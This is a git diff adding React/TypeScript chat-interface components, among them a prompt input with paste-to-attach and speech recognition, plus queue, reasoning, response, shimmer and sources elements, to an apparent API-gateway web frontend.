+export const PromptInputTextarea = ({
+  onChange,
+  className,
+  placeholder,
+  ...props
+}: PromptInputTextareaProps) => {
+  const { t } = useTranslation()
+  const controller = useOptionalPromptInputController()
+  const attachments = usePromptInputAttachments()
+  const resolvedPlaceholder = placeholder ?? t('What would you like to know?')
+  const [isComposing, setIsComposing] = useState(false)
+
+  const handleKeyDown: KeyboardEventHandler<HTMLTextAreaElement> = (e) => {
+    if (e.key === 'Enter') {
+      if (isComposing || e.nativeEvent.isComposing) {
+        return
+      }
+      if (e.shiftKey) {
+        return
+      }
+      e.preventDefault()
+      e.currentTarget.form?.requestSubmit()
+    }
+
+    // Remove last attachment when Backspace is pressed and textarea is empty
+    if (
+      e.key === 'Backspace' &&
+      e.currentTarget.value === '' &&
+      attachments.files.length > 0
+    ) {
+      e.preventDefault()
+      const lastAttachment =
+        attachments.files.length > 0
+          ? attachments.files[attachments.files.length - 1]
+          : undefined
+      if (lastAttachment) {
+        attachments.remove(lastAttachment.id)
+      }
+    }
+  }
+
+  const handlePaste: ClipboardEventHandler<HTMLTextAreaElement> = (event) => {
+    const items = event.clipboardData?.items
+
+    if (!items) {
+      return
+    }
+
+    const files: File[] = []
+
+    for (const item of items) {
+      if (item.kind === 'file') {
+        const file = item.getAsFile()
+        if (file) {
+          files.push(file)
+        }
+      }
+    }
+
+    if (files.length > 0) {
+      event.preventDefault()
+      attachments.add(files)
+    }
+  }
+
+  const controlledProps = controller
+    ? {
+        value: controller.textInput.value,
+        onChange: (e: ChangeEvent<HTMLTextAreaElement>) => {
+          controller.textInput.setInput(e.currentTarget.value)
+          onChange?.(e)
+        },
+      }
+    : {
+        onChange,
+      }
+
+  return (
+    <InputGroupTextarea
+      className={cn('field-sizing-content max-h-48 min-h-16', className)}
+      name='message'
+      onCompositionEnd={() => setIsComposing(false)}
+      onCompositionStart={() => setIsComposing(true)}
+      onKeyDown={handleKeyDown}
+      onPaste={handlePaste}
+      placeholder={resolvedPlaceholder}
+      {...props}
+      {...controlledProps}
+    />
+  )
+}
+
+export type PromptInputHeaderProps = Omit<
+  ComponentProps<typeof InputGroupAddon>,
+  'align'
+>
+
+export const PromptInputHeader = ({
+  className,
+  ...props
+}: PromptInputHeaderProps) => (
+  <InputGroupAddon
+    align='block-end'
+    className={cn('order-first flex-wrap gap-1', className)}
+    {...props}
+  />
+)
+
+export type PromptInputFooterProps = Omit<
+  ComponentProps<typeof InputGroupAddon>,
+  'align'
+>
+
+export const PromptInputFooter = ({
+  className,
+  ...props
+}: PromptInputFooterProps) => (
+  <InputGroupAddon
+    align='block-end'
+    className={cn('justify-between gap-1', className)}
+    {...props}
+  />
+)
+
+export type PromptInputToolsProps = HTMLAttributes<HTMLDivElement>
+
+export const PromptInputTools = ({
+  className,
+  ...props
+}: PromptInputToolsProps) => (
+  <div className={cn('flex items-center gap-1', className)} {...props} />
+)
+
+export type PromptInputButtonProps = ComponentProps<typeof InputGroupButton>
+
+export const PromptInputButton = ({
+  variant = 'ghost',
+  className,
+  size,
+  ...props
+}: PromptInputButtonProps) => {
+  const newSize =
+    size ?? (Children.count(props.children) > 1 ? 'sm' : 'icon-sm')
+
+  return (
+    <InputGroupButton
+      className={cn(className)}
+      size={newSize}
+      type='button'
+      variant={variant}
+      {...props}
+    />
+  )
+}
+
+export type PromptInputActionMenuProps = ComponentProps<typeof DropdownMenu>
+export const PromptInputActionMenu = (props: PromptInputActionMenuProps) => (
+  <DropdownMenu {...props} />
+)
+
+export type PromptInputActionMenuTriggerProps = PromptInputButtonProps
+
+export const PromptInputActionMenuTrigger = ({
+  className,
+  children,
+  ...props
+}: PromptInputActionMenuTriggerProps) => (
+  <DropdownMenuTrigger asChild>
+    <PromptInputButton className={className} {...props}>
+      {children ?? <PlusIcon className='size-4' />}
+    </PromptInputButton>
+  </DropdownMenuTrigger>
+)
+
+export type PromptInputActionMenuContentProps = ComponentProps<
+  typeof DropdownMenuContent
+>
+export const PromptInputActionMenuContent = ({
+  className,
+  ...props
+}: PromptInputActionMenuContentProps) => (
+  <DropdownMenuContent align='start' className={cn(className)} {...props} />
+)
+
+export type PromptInputActionMenuItemProps = ComponentProps<
+  typeof DropdownMenuItem
+>
+export const PromptInputActionMenuItem = ({
+  className,
+  ...props
+}: PromptInputActionMenuItemProps) => (
+  <DropdownMenuItem className={cn(className)} {...props} />
+)
+
+// Note: Actions that perform side-effects (like opening a file dialog)
+// are provided in opt-in modules (e.g., prompt-input-attachments).
+
+export type PromptInputSubmitProps = ComponentProps<typeof InputGroupButton> & {
+  status?: ChatStatus
+}
+
+export const PromptInputSubmit = ({
+  className,
+  variant = 'default',
+  size = 'icon-sm',
+  status,
+  children,
+  ...props
+}: PromptInputSubmitProps) => {
+  const { t } = useTranslation()
+  let Icon = <SendIcon className='size-4' />
+
+  if (status === 'submitted') {
+    Icon = <Loader2Icon className='size-4 animate-spin' />
+  } else if (status === 'streaming') {
+    Icon = <SquareIcon className='size-4' />
+  } else if (status === 'error') {
+    Icon = <XIcon className='size-4' />
+  }
+
+  return (
+    <InputGroupButton
+      aria-label={t('Submit')}
+      className={cn(className)}
+      size={size}
+      type='submit'
+      variant={variant}
+      {...props}
+    >
+      {children ?? Icon}
+    </InputGroupButton>
+  )
+}
+
+interface SpeechRecognition extends EventTarget {
+  continuous: boolean
+  interimResults: boolean
+  lang: string
+  start(): void
+  stop(): void
+  onstart: ((this: SpeechRecognition, ev: Event) => void) | null
+  onend: ((this: SpeechRecognition, ev: Event) => void) | null
+  onresult:
+    | ((this: SpeechRecognition, ev: SpeechRecognitionEvent) => void)
+    | null
+  onerror:
+    | ((this: SpeechRecognition, ev: SpeechRecognitionErrorEvent) => void)
+    | null
+}
+
+interface SpeechRecognitionEvent extends Event {
+  results: SpeechRecognitionResultList
+}
+
+type SpeechRecognitionResultList = {
+  readonly length: number
+  item(index: number): SpeechRecognitionResult
+  [index: number]: SpeechRecognitionResult
+}
+
+type SpeechRecognitionResult = {
+  readonly length: number
+  item(index: number): SpeechRecognitionAlternative
+  [index: number]: SpeechRecognitionAlternative
+  isFinal: boolean
+}
+
+type SpeechRecognitionAlternative = {
+  transcript: string
+  confidence: number
+}
+
+interface SpeechRecognitionErrorEvent extends Event {
+  error: string
+}
+
+declare global {
+  interface Window {
+    SpeechRecognition: {
+      new (): SpeechRecognition
+    }
+    webkitSpeechRecognition: {
+      new (): SpeechRecognition
+    }
+  }
+}
+
+export type PromptInputSpeechButtonProps = ComponentProps<
+  typeof PromptInputButton
+> & {
+  textareaRef?: RefObject<HTMLTextAreaElement | null>
+  onTranscriptionChange?: (text: string) => void
+}
+
+export const PromptInputSpeechButton = ({
+  className,
+  textareaRef,
+  onTranscriptionChange,
+  ...props
+}: PromptInputSpeechButtonProps) => {
+  const [isListening, setIsListening] = useState(false)
+  const [recognition, setRecognition] = useState<SpeechRecognition | null>(null)
+  const recognitionRef = useRef<SpeechRecognition | null>(null)
+
+  useEffect(() => {
+    if (
+      typeof window !== 'undefined' &&
+      ('SpeechRecognition' in window || 'webkitSpeechRecognition' in window)
+    ) {
+      const SpeechRecognition =
+        window.SpeechRecognition || window.webkitSpeechRecognition
+      const speechRecognition = new SpeechRecognition()
+
+      speechRecognition.continuous = true
+      speechRecognition.interimResults = true
+      speechRecognition.lang = 'en-US'
+
+      speechRecognition.onstart = () => {
+        setIsListening(true)
+      }
+
+      speechRecognition.onend = () => {
+        setIsListening(false)
+      }
+
+      speechRecognition.onresult = (event) => {
+        let finalTranscript = ''
+
+        const results = Array.from(event.results)
+
+        for (const result of results) {
+          if (result.isFinal) {
+            finalTranscript += result[0]?.transcript ?? ''
+          }
+        }
+
+        if (finalTranscript && textareaRef?.current) {
+          const textarea = textareaRef.current
+          const currentValue = textarea.value
+          const newValue =
+            currentValue + (currentValue ? ' ' : '') + finalTranscript
+
+          textarea.value = newValue
+          textarea.dispatchEvent(new Event('input', { bubbles: true }))
+          onTranscriptionChange?.(newValue)
+        }
+      }
+
+      speechRecognition.onerror = (event) => {
+        // eslint-disable-next-line no-console
+        console.error('Speech recognition error:', event.error)
+        setIsListening(false)
+      }
+
+      recognitionRef.current = speechRecognition
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setRecognition(speechRecognition)
+    }
+
+    return () => {
+      if (recognitionRef.current) {
+        recognitionRef.current.stop()
+      }
+    }
+  }, [textareaRef, onTranscriptionChange])
+
+  const toggleListening = useCallback(() => {
+    if (!recognition) {
+      return
+    }
+
+    if (isListening) {
+      recognition.stop()
+    } else {
+      recognition.start()
+    }
+  }, [recognition, isListening])
+
+  return (
+    <PromptInputButton
+      className={cn(
+        'relative transition-all duration-200',
+        isListening && 'bg-accent text-accent-foreground animate-pulse',
+        className
+      )}
+      disabled={!recognition}
+      onClick={toggleListening}
+      {...props}
+    >
+      <MicIcon className='size-4' />
+    </PromptInputButton>
+  )
+}
+
+export type PromptInputModelSelectProps = ComponentProps<typeof Select>
+
+export const PromptInputModelSelect = (props: PromptInputModelSelectProps) => (
+  <Select {...props} />
+)
+
+export type PromptInputModelSelectTriggerProps = ComponentProps<
+  typeof SelectTrigger
+>
+
+export const PromptInputModelSelectTrigger = ({
+  className,
+  size = 'sm',
+  ...props
+}: PromptInputModelSelectTriggerProps) => (
+  <SelectTrigger
+    className={cn(
+      'text-muted-foreground border-none bg-transparent font-medium shadow-none transition-colors',
+      'hover:bg-accent hover:text-foreground [&[aria-expanded="true"]]:bg-accent [&[aria-expanded="true"]]:text-foreground',
+      className
+    )}
+    size={size}
+    {...props}
+  />
+)
+
+export type PromptInputModelSelectContentProps = ComponentProps<
+  typeof SelectContent
+>
+
+export const PromptInputModelSelectContent = ({
+  className,
+  ...props
+}: PromptInputModelSelectContentProps) => (
+  <SelectContent className={cn(className)} {...props} />
+)
+
+export type PromptInputModelSelectItemProps = ComponentProps<typeof SelectItem>
+
+export const PromptInputModelSelectItem = ({
+  className,
+  ...props
+}: PromptInputModelSelectItemProps) => (
+  <SelectItem className={cn(className)} {...props} />
+)
+
+export type PromptInputModelSelectValueProps = ComponentProps<
+  typeof SelectValue
+>
+
+export const PromptInputModelSelectValue = ({
+  className,
+  ...props
+}: PromptInputModelSelectValueProps) => (
+  <SelectValue className={cn(className)} {...props} />
+)
+
+export type PromptInputHoverCardProps = ComponentProps<typeof HoverCard>
+
+export const PromptInputHoverCard = ({
+  openDelay = 0,
+  closeDelay = 0,
+  ...props
+}: PromptInputHoverCardProps) => (
+  <HoverCard closeDelay={closeDelay} openDelay={openDelay} {...props} />
+)
+
+export type PromptInputHoverCardTriggerProps = ComponentProps<
+  typeof HoverCardTrigger
+>
+
+export const PromptInputHoverCardTrigger = (
+  props: PromptInputHoverCardTriggerProps
+) => <HoverCardTrigger {...props} />
+
+export type PromptInputHoverCardContentProps = ComponentProps<
+  typeof HoverCardContent
+>
+
+export const PromptInputHoverCardContent = ({
+  align = 'start',
+  ...props
+}: PromptInputHoverCardContentProps) => (
+  <HoverCardContent align={align} {...props} />
+)
+
+export type PromptInputTabsListProps = HTMLAttributes<HTMLDivElement>
+
+export const PromptInputTabsList = ({
+  className,
+  ...props
+}: PromptInputTabsListProps) => <div className={cn(className)} {...props} />
+
+export type PromptInputTabProps = HTMLAttributes<HTMLDivElement>
+
+export const PromptInputTab = ({
+  className,
+  ...props
+}: PromptInputTabProps) => <div className={cn(className)} {...props} />
+
+export type PromptInputTabLabelProps = HTMLAttributes<HTMLHeadingElement>
+
+export const PromptInputTabLabel = ({
+  className,
+  ...props
+}: PromptInputTabLabelProps) => (
+  <h3
+    className={cn(
+      'text-muted-foreground mb-2 px-3 text-xs font-medium',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type PromptInputTabBodyProps = HTMLAttributes<HTMLDivElement>
+
+export const PromptInputTabBody = ({
+  className,
+  ...props
+}: PromptInputTabBodyProps) => (
+  <div className={cn('space-y-1', className)} {...props} />
+)
+
+export type PromptInputTabItemProps = HTMLAttributes<HTMLDivElement>
+
+export const PromptInputTabItem = ({
+  className,
+  ...props
+}: PromptInputTabItemProps) => (
+  <div
+    className={cn(
+      'hover:bg-accent flex items-center gap-2 px-3 py-2 text-xs',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type PromptInputCommandProps = ComponentProps<typeof Command>
+
+export const PromptInputCommand = ({
+  className,
+  ...props
+}: PromptInputCommandProps) => <Command className={cn(className)} {...props} />
+
+export type PromptInputCommandInputProps = ComponentProps<typeof CommandInput>
+
+export const PromptInputCommandInput = ({
+  className,
+  ...props
+}: PromptInputCommandInputProps) => (
+  <CommandInput className={cn(className)} {...props} />
+)
+
+export type PromptInputCommandListProps = ComponentProps<typeof CommandList>
+
+export const PromptInputCommandList = ({
+  className,
+  ...props
+}: PromptInputCommandListProps) => (
+  <CommandList className={cn(className)} {...props} />
+)
+
+export type PromptInputCommandEmptyProps = ComponentProps<typeof CommandEmpty>
+
+export const PromptInputCommandEmpty = ({
+  className,
+  ...props
+}: PromptInputCommandEmptyProps) => (
+  <CommandEmpty className={cn(className)} {...props} />
+)
+
+export type PromptInputCommandGroupProps = ComponentProps<typeof CommandGroup>
+
+export const PromptInputCommandGroup = ({
+  className,
+  ...props
+}: PromptInputCommandGroupProps) => (
+  <CommandGroup className={cn(className)} {...props} />
+)
+
+export type PromptInputCommandItemProps = ComponentProps<typeof CommandItem>
+
+export const PromptInputCommandItem = ({
+  className,
+  ...props
+}: PromptInputCommandItemProps) => (
+  <CommandItem className={cn(className)} {...props} />
+)
+
+export type PromptInputCommandSeparatorProps = ComponentProps<
+  typeof CommandSeparator
+>
+
+export const PromptInputCommandSeparator = ({
+  className,
+  ...props
+}: PromptInputCommandSeparatorProps) => (
+  <CommandSeparator className={cn(className)} {...props} />
+)
diff --git a/new-api/web/default/src/components/ai-elements/queue.tsx b/new-api/web/default/src/components/ai-elements/queue.tsx
new file mode 100644
index 0000000..03fda7f
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/queue.tsx
@@ -0,0 +1,273 @@
+'use client'
+
+import type { ComponentProps } from 'react'
+import { ChevronDownIcon, PaperclipIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import { ScrollArea } from '@/components/ui/scroll-area'
+
+export type QueueMessagePart = {
+  type: string
+  text?: string
+  url?: string
+  filename?: string
+  mediaType?: string
+}
+
+export type QueueMessage = {
+  id: string
+  parts: QueueMessagePart[]
+}
+
+export type QueueTodo = {
+  id: string
+  title: string
+  description?: string
+  status?: 'pending' | 'completed'
+}
+
+export type QueueItemProps = ComponentProps<'li'>
+
+export const QueueItem = ({ className, ...props }: QueueItemProps) => (
+  <li
+    className={cn(
+      'group hover:bg-muted flex flex-col gap-1 rounded-md px-3 py-1 text-sm transition-colors',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type QueueItemIndicatorProps = ComponentProps<'span'> & {
+  completed?: boolean
+}
+
+export const QueueItemIndicator = ({
+  completed = false,
+  className,
+  ...props
+}: QueueItemIndicatorProps) => (
+  <span
+    className={cn(
+      'mt-0.5 inline-block size-2.5 rounded-full border',
+      completed
+        ? 'border-muted-foreground/20 bg-muted-foreground/10'
+        : 'border-muted-foreground/50',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type QueueItemContentProps = ComponentProps<'span'> & {
+  completed?: boolean
+}
+
+export const QueueItemContent = ({
+  completed = false,
+  className,
+  ...props
+}: QueueItemContentProps) => (
+  <span
+    className={cn(
+      'line-clamp-1 grow break-words',
+      completed
+        ? 'text-muted-foreground/50 line-through'
+        : 'text-muted-foreground',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type QueueItemDescriptionProps = ComponentProps<'div'> & {
+  completed?: boolean
+}
+
+export const QueueItemDescription = ({
+  completed = false,
+  className,
+  ...props
+}: QueueItemDescriptionProps) => (
+  <div
+    className={cn(
+      'ml-6 text-xs',
+      completed
+        ? 'text-muted-foreground/40 line-through'
+        : 'text-muted-foreground',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type QueueItemActionsProps = ComponentProps<'div'>
+
+export const QueueItemActions = ({
+  className,
+  ...props
+}: QueueItemActionsProps) => (
+  <div className={cn('flex gap-1', className)} {...props} />
+)
+
+export type QueueItemActionProps = Omit<
+  ComponentProps<typeof Button>,
+  'variant' | 'size'
+>
+
+export const QueueItemAction = ({
+  className,
+  ...props
+}: QueueItemActionProps) => (
+  <Button
+    className={cn(
+      'text-muted-foreground hover:bg-muted-foreground/10 hover:text-foreground size-auto rounded p-1 opacity-0 transition-opacity group-hover:opacity-100',
+      className
+    )}
+    size='icon'
+    type='button'
+    variant='ghost'
+    {...props}
+  />
+)
+
+export type QueueItemAttachmentProps = ComponentProps<'div'>
+
+export const QueueItemAttachment = ({
+  className,
+  ...props
+}: QueueItemAttachmentProps) => (
+  <div className={cn('mt-1 flex flex-wrap gap-2', className)} {...props} />
+)
+
+export type QueueItemImageProps = ComponentProps<'img'>
+
+export const QueueItemImage = ({
+  className,
+  ...props
+}: QueueItemImageProps) => (
+  <img
+    alt=''
+    className={cn('h-8 w-8 rounded border object-cover', className)}
+    height={32}
+    width={32}
+    {...props}
+  />
+)
+
+export type QueueItemFileProps = ComponentProps<'span'>
+
+export const QueueItemFile = ({
+  children,
+  className,
+  ...props
+}: QueueItemFileProps) => (
+  <span
+    className={cn(
+      'bg-muted flex items-center gap-1 rounded border px-2 py-1 text-xs',
+      className
+    )}
+    {...props}
+  >
+    <PaperclipIcon size={12} />
+    <span className='max-w-[100px] truncate'>{children}</span>
+  </span>
+)
+
+export type QueueListProps = ComponentProps<typeof ScrollArea>
+
+export const QueueList = ({
+  children,
+  className,
+  ...props
+}: QueueListProps) => (
+  <ScrollArea className={cn('mt-2 -mb-1', className)} {...props}>
+    <div className='max-h-40 pr-4'>
+      <ul>{children}</ul>
+    </div>
+  </ScrollArea>
+)
+
+// QueueSection - collapsible section container
+export type QueueSectionProps = ComponentProps<typeof Collapsible>
+
+export const QueueSection = ({
+  className,
+  defaultOpen = true,
+  ...props
+}: QueueSectionProps) => (
+  <Collapsible className={cn(className)} defaultOpen={defaultOpen} {...props} />
+)
+
+// QueueSectionTrigger - section header/trigger
+export type QueueSectionTriggerProps = ComponentProps<'button'>
+
+export const QueueSectionTrigger = ({
+  children,
+  className,
+  ...props
+}: QueueSectionTriggerProps) => (
+  <CollapsibleTrigger asChild>
+    <Button
+      variant='ghost'
+      className={cn(
+        'group bg-muted/40 text-muted-foreground hover:bg-muted h-auto w-full justify-between px-3 py-2 text-left',
+        className
+      )}
+      type='button'
+      {...props}
+    >
+      {children}
+    </Button>
+  </CollapsibleTrigger>
+)
+
+// QueueSectionLabel - label content with icon and count
+export type QueueSectionLabelProps = ComponentProps<'span'> & {
+  count?: number
+  label: string
+  icon?: React.ReactNode
+}
+
+export const QueueSectionLabel = ({
+  count,
+  label,
+  icon,
+  className,
+  ...props
+}: QueueSectionLabelProps) => (
+  <span className={cn('flex items-center gap-2', className)} {...props}>
+    <ChevronDownIcon className='size-4 transition-transform group-data-[state=closed]:-rotate-90' />
+    {icon}
+    <span>
+      {count} {label}
+    </span>
+  </span>
+)
+
+// QueueSectionContent - collapsible content area
+export type QueueSectionContentProps = ComponentProps<typeof CollapsibleContent>
+
+export const QueueSectionContent = ({
+  className,
+  ...props
+}: QueueSectionContentProps) => (
+  <CollapsibleContent className={cn(className)} {...props} />
+)
+
+export type QueueProps = ComponentProps<'div'>
+
+export const Queue = ({ className, ...props }: QueueProps) => (
+  <div
+    className={cn(
+      'border-border bg-background flex flex-col gap-2 rounded-xl border px-3 pt-2 pb-2 shadow-xs',
+      className
+    )}
+    {...props}
+  />
+)
diff --git a/new-api/web/default/src/components/ai-elements/reasoning.tsx b/new-api/web/default/src/components/ai-elements/reasoning.tsx
new file mode 100644
index 0000000..089cc84
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/reasoning.tsx
@@ -0,0 +1,186 @@
+'use client'
+
+import {
+  type ComponentProps,
+  createContext,
+  memo,
+  useContext,
+  useEffect,
+  useState,
+} from 'react'
+import { useControllableState } from '@radix-ui/react-use-controllable-state'
+import { BrainIcon, ChevronDownIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import { Response } from './response'
+import { Shimmer } from './shimmer'
+
+type ReasoningContextValue = {
+  isStreaming: boolean
+  isOpen: boolean
+  setIsOpen: (open: boolean) => void
+  duration: number
+}
+
+const ReasoningContext = createContext<ReasoningContextValue | null>(null)
+
+const useReasoning = () => {
+  const context = useContext(ReasoningContext)
+  if (!context) {
+    throw new Error('Reasoning components must be used within Reasoning')
+  }
+  return context
+}
+
+export type ReasoningProps = ComponentProps<typeof Collapsible> & {
+  isStreaming?: boolean
+  open?: boolean
+  defaultOpen?: boolean
+  onOpenChange?: (open: boolean) => void
+  duration?: number
+}
+
+const AUTO_CLOSE_DELAY = 1000
+const MS_IN_S = 1000
+
+export const Reasoning = memo(
+  ({
+    className,
+    isStreaming = false,
+    open,
+    defaultOpen = true,
+    onOpenChange,
+    duration: durationProp,
+    children,
+    ...props
+  }: ReasoningProps) => {
+    const [isOpen, setIsOpen] = useControllableState({
+      prop: open,
+      defaultProp: defaultOpen,
+      onChange: onOpenChange,
+    })
+    const [duration, setDuration] = useControllableState({
+      prop: durationProp,
+      defaultProp: 0,
+    })
+
+    const [hasAutoClosed, setHasAutoClosed] = useState(false)
+    const [startTime, setStartTime] = useState<number | null>(null)
+
+    // Track duration when streaming starts and ends
+    useEffect(() => {
+      if (isStreaming) {
+        if (startTime === null) {
+          // eslint-disable-next-line react-hooks/set-state-in-effect
+          setStartTime(Date.now())
+        }
+      } else if (startTime !== null) {
+        setDuration(Math.ceil((Date.now() - startTime) / MS_IN_S))
+        setStartTime(null)
+      }
+    }, [isStreaming, startTime, setDuration])
+
+    // Auto-open when streaming starts, auto-close when streaming ends (once only)
+    useEffect(() => {
+      if (defaultOpen && !isStreaming && isOpen && !hasAutoClosed) {
+        // Add a small delay before closing to allow user to see the content
+        const timer = setTimeout(() => {
+          setIsOpen(false)
+          setHasAutoClosed(true)
+        }, AUTO_CLOSE_DELAY)
+
+        return () => clearTimeout(timer)
+      }
+    }, [isStreaming, isOpen, defaultOpen, setIsOpen, hasAutoClosed])
+
+    const handleOpenChange = (newOpen: boolean) => {
+      setIsOpen(newOpen)
+    }
+
+    return (
+      <ReasoningContext.Provider
+        value={{ isStreaming, isOpen, setIsOpen, duration }}
+      >
+        <Collapsible
+          className={cn('not-prose mb-4', className)}
+          onOpenChange={handleOpenChange}
+          open={isOpen}
+          {...props}
+        >
+          {children}
+        </Collapsible>
+      </ReasoningContext.Provider>
+    )
+  }
+)
+
+export type ReasoningTriggerProps = ComponentProps<typeof CollapsibleTrigger>
+
+const getThinkingMessage = (isStreaming: boolean, duration?: number) => {
+  if (isStreaming) {
+    return <Shimmer duration={1}>Thinking...</Shimmer>
+  }
+  // When duration is unknown or 0 (e.g., non-streaming responses), show a generic message
+  if (duration === undefined || duration === 0) {
+    return <p>Thought for a few seconds</p>
+  }
+  return <p>Thought for {duration} seconds</p>
+}
+
+export const ReasoningTrigger = memo(
+  ({ className, children, ...props }: ReasoningTriggerProps) => {
+    const { isStreaming, isOpen, duration } = useReasoning()
+
+    return (
+      <CollapsibleTrigger
+        className={cn(
+          'text-muted-foreground hover:text-foreground flex w-full items-center gap-2 text-sm transition-colors',
+          className
+        )}
+        {...props}
+      >
+        {children ?? (
+          <>
+            <BrainIcon className='size-4' />
+            {getThinkingMessage(isStreaming, duration)}
+            <ChevronDownIcon
+              className={cn(
+                'size-4 transition-transform',
+                isOpen ? 'rotate-180' : 'rotate-0'
+              )}
+            />
+          </>
+        )}
+      </CollapsibleTrigger>
+    )
+  }
+)
+
+export type ReasoningContentProps = ComponentProps<
+  typeof CollapsibleContent
+> & {
+  children: string
+}
+
+export const ReasoningContent = memo(
+  ({ className, children, ...props }: ReasoningContentProps) => (
+    <CollapsibleContent
+      className={cn(
+        'mt-4 text-sm',
+        'data-[state=closed]:fade-out-0 data-[state=closed]:slide-out-to-top-2 data-[state=open]:slide-in-from-top-2 text-muted-foreground data-[state=closed]:animate-out data-[state=open]:animate-in outline-none',
+        className
+      )}
+      {...props}
+    >
+      <Response className='grid gap-2'>{children}</Response>
+    </CollapsibleContent>
+  )
+)
+
+Reasoning.displayName = 'Reasoning'
+ReasoningTrigger.displayName = 'ReasoningTrigger'
+ReasoningContent.displayName = 'ReasoningContent'
diff --git a/new-api/web/default/src/components/ai-elements/response.tsx b/new-api/web/default/src/components/ai-elements/response.tsx
new file mode 100644
index 0000000..2a35044
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/response.tsx
@@ -0,0 +1,42 @@
+'use client'
+
+import { type ComponentProps, memo } from 'react'
+import { Streamdown } from 'streamdown'
+import { cn } from '@/lib/utils'
+
+type ResponseProps = ComponentProps<typeof Streamdown>
+
+export const Response = memo(
+  ({ className, children, ...props }: ResponseProps) => {
+    const stripCustomTags = (input: unknown): unknown => {
+      if (typeof input !== 'string') return input
+      return (
+        input
+          // Remove known AI custom wrapper tags but keep inner content
+          .replace(
+            /<\/?(conversation|conversationcontent|reasoning|reasoningcontent|reasoningtrigger|sources|sourcescontent|sourcestrigger|branch|branchmessages|branchnext|branchpage|branchprevious|branchselector|message|messagecontent)\b[^>]*>/gi,
+            ''
+          )
+          // Remove any stray <think> tags if they still appear
+          .replace(/<\/?think\b[^>]*>/gi, '')
+      )
+    }
+
+    const safeChildren = stripCustomTags(children) as string
+
+    return (
+      <Streamdown
+        className={cn(
+          'size-full [&>*:first-child]:mt-0 [&>*:last-child]:mb-0',
+          className
+        )}
+        {...props}
+      >
+        {safeChildren}
+      </Streamdown>
+    )
+  },
+  (prevProps, nextProps) => prevProps.children === nextProps.children
+)
+
+Response.displayName = 'Response'
diff --git a/new-api/web/default/src/components/ai-elements/shimmer.tsx b/new-api/web/default/src/components/ai-elements/shimmer.tsx
new file mode 100644
index 0000000..0880004
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/shimmer.tsx
@@ -0,0 +1,55 @@
+'use client'
+
+import { type CSSProperties, type ElementType, memo, useMemo } from 'react'
+import { motion } from 'motion/react'
+import { cn } from '@/lib/utils'
+
+export type TextShimmerProps = {
+  children: string
+  as?: ElementType
+  className?: string
+  duration?: number
+  spread?: number
+}
+
+const MotionP = motion.p
+
+const ShimmerComponent = ({
+  children,
+  className,
+  duration = 2,
+  spread = 2,
+}: TextShimmerProps) => {
+  const dynamicSpread = useMemo(
+    () => (children?.length ?? 0) * spread,
+    [children, spread]
+  )
+
+  return (
+    <MotionP
+      animate={{ backgroundPosition: '0% center' }}
+      className={cn(
+        'relative inline-block bg-[length:250%_100%,auto] bg-clip-text text-transparent',
+        '[background-repeat:no-repeat,padding-box] [--bg:linear-gradient(90deg,#0000_calc(50%-var(--spread)),var(--color-background),#0000_calc(50%+var(--spread)))]',
+        className
+      )}
+      initial={{ backgroundPosition: '100% center' }}
+      style={
+        {
+          '--spread': `${dynamicSpread}px`,
+          backgroundImage:
+            'var(--bg), linear-gradient(var(--color-muted-foreground), var(--color-muted-foreground))',
+        } as CSSProperties
+      }
+      transition={{
+        repeat: Number.POSITIVE_INFINITY,
+        duration,
+        ease: 'linear',
+      }}
+    >
+      {children}
+    </MotionP>
+  )
+}
+
+export const Shimmer = memo(ShimmerComponent)
diff --git a/new-api/web/default/src/components/ai-elements/sources.tsx b/new-api/web/default/src/components/ai-elements/sources.tsx
new file mode 100644
index 0000000..85251c2
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/sources.tsx
@@ -0,0 +1,83 @@
+'use client'
+
+import type { ComponentProps } from 'react'
+import { BookIcon, ChevronDownIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+
+export type SourcesProps = ComponentProps<'div'>
+
+export const Sources = ({ className, ...props }: SourcesProps) => (
+  <Collapsible
+    className={cn('not-prose text-primary mb-4 text-xs', className)}
+    {...props}
+  />
+)
+
+export type SourcesTriggerProps = ComponentProps<typeof CollapsibleTrigger> & {
+  count: number
+}
+
+export const SourcesTrigger = ({
+  className,
+  count,
+  children,
+  ...props
+}: SourcesTriggerProps) => {
+  const { t } = useTranslation()
+  return (
+    <CollapsibleTrigger
+      className={cn('flex items-center gap-2', className)}
+      {...props}
+    >
+      {children ?? (
+        <>
+          <p className='font-medium'>
+            {t('Used')} {count} {t('sources')}
+          </p>
+          <ChevronDownIcon className='h-4 w-4' />
+        </>
+      )}
+    </CollapsibleTrigger>
+  )
+}
+
+export type SourcesContentProps = ComponentProps<typeof CollapsibleContent>
+
+export const SourcesContent = ({
+  className,
+  ...props
+}: SourcesContentProps) => (
+  <CollapsibleContent
+    className={cn(
+      'mt-3 flex w-fit flex-col gap-2',
+      'data-[state=closed]:fade-out-0 data-[state=closed]:slide-out-to-top-2 data-[state=open]:slide-in-from-top-2 data-[state=closed]:animate-out data-[state=open]:animate-in outline-none',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type SourceProps = ComponentProps<'a'>
+
+export const Source = ({ href, title, children, ...props }: SourceProps) => (
+  <a
+    className='flex items-center gap-2'
+    href={href}
+    rel='noreferrer'
+    target='_blank'
+    {...props}
+  >
+    {children ?? (
+      <>
+        <BookIcon className='h-4 w-4' />
+        <span className='block font-medium'>{title}</span>
+      </>
+    )}
+  </a>
+)
